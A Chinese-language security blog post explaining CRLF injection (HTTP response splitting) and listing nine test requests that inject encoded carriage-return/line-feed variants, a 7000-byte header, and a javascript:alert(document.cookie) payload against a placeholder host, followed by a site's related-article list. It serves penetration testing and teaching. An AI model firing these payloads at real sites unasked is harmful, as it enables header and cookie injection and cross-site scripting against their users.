你所不知道的CRLF---header中潜藏的漏洞

简介: 前言本文主要讲的是如何测试CRLF以及相关tips,在具体讲解之前,先简单概述一下何为CRLF:CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。



前言


本文主要讲的是如何测试CRLF以及相关tips,在具体讲解之前,先简单概述一下何为CRLF:

CRLF是”回车 + 换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

可以通过具体案例来理解: https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html


预备知识

\r\n 所对应的 url Encode为: %0d%0a =============>ascii码为0x0D0x0A=============>utf-8为: %E5%98%8A = %0A = \u560a ,%E5%98%8D = %0D = \u560d

%20 对应空格,%3b 对应;, %3F对应, %23对应#


正文

  1. 在header中尝试注入回车换行符,例如\r\n,例如Set-Cookies:%20Me
GET /Header?Parameter=\r\nKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 在header中尝试注入回车换行符,例如%0D%0A,例如Set-Cookies:%20Me
GET /Header?Parameter=%0D%0AKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 在header中尝试注入回车或者换行符,例如%0D 或者 %0A,例如Set-Cookies:%20Me
GET /Header?Parameter=%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试注入回车换行符的ASCII符号,例如0x0D0x0A,例如Set-Cookies:%20Me
GET /Header? Parameter=0x0D0x0AKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试注入回车换行符的utf-8,例如 %E5%98%8A%E5%98%8D,例如Set-Cookies:%20Me
GET /Header? Parameter=%E5%98%8A%E5%98%8DKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试注入回车换行符的Unicode,例如 \u560d\u560a,例如Set-Cookies:%20Me
GET /Header? Parameter=\u560d\u560aKey:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试在Header中注入大量字符串,例如 +++++++ 7000 bytes +++++++,例如Set-Cookies:%20Me
GET /Header?
Parameter=+++++ 7000 bytes +++++Key:%20V HTTP/1.1
Host: www.company.com User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试注入编过码的回车或者换行,例如: %3F%0D , %23%0D , %3F%0A 或者 %23%0A
GET /Path%3F%0DKey:%20V HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com
  1. 尝试注入/x:1/:///%01javascript:alert(document.cookie)/
GET //x:1/:///%01javascript:alert(document.cookie)/ HTTP/1.1 Host: www.company.com
User-Agent: Mozilla/5.0
Accept: text/html
Origin: https://www.company.com


参考

https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

https://hackerone.com/reports/335599

https://hackerone.com/reports/446271

https://hackerone.com/reports/52042

https://hackerone.com/reports/53843

https://hackerone.com/reports/154400

https://ronak-9889.medium.com/denial-of-service-using-cookie-bombing-55c2d0ef808c

目录
相关文章
|
7月前
|
安全 Java
安装burp2022 --illegal-access=permit
安装burp2022 --illegal-access=permit
59 0
JavaWeb - Request 之 Header Key 大小写是否敏感?
JavaWeb - Request 之 Header Key 大小写是否敏感?
725 0
|
1月前
|
安全
关于浏览器警告提示 - This Set-Cookie header didn‘t specify a SameSite attribute
关于浏览器警告提示 - This Set-Cookie header didn‘t specify a SameSite attribute
209 0
|
1月前
|
C++
c++ - 警告 : treating ‘c-header‘ input as ‘c++-header‘ when in C++ mode, 此行为已弃用
c++ - 警告 : treating ‘c-header‘ input as ‘c++-header‘ when in C++ mode, 此行为已弃用
|
7月前
|
XML 数据格式
svn报错-ra_serf: The server sent a truncated HTTP response body.
svn报错-ra_serf: The server sent a truncated HTTP response body.
170 1
|
11月前
|
前端开发 JavaScript
ajax请求的重定向处理--Request header field x-requested-with is not allowed by Access-Control-Allow-Header
ajax请求的重定向处理--Request header field x-requested-with is not allowed by Access-Control-Allow-Header
340 0
|
Java Maven
invalid LOC header (bad signature) 错误解决办法
invalid LOC header (bad signature) 错误解决办法
540 0
https网站访问http出现block:mixed-content
https网站访问http出现block:mixed-content
258 0
https网站访问http出现block:mixed-content
|
应用服务中间件 PHP nginx
nginx log 错误502 upstream sent too big header while reading response header from upstream
cookies的值超出了范围我是说 看看了一下日志 错误502 upstream sent too big header while reading response header from upstream   sudo gedit /var/log/nginx/error.
5316 0
|
网络安全 PHP
PHP函数file_get_contents()使用 https 协议时报错:SSL operation failed
报错提示: 总之就是https报错,采集不到数据
160 0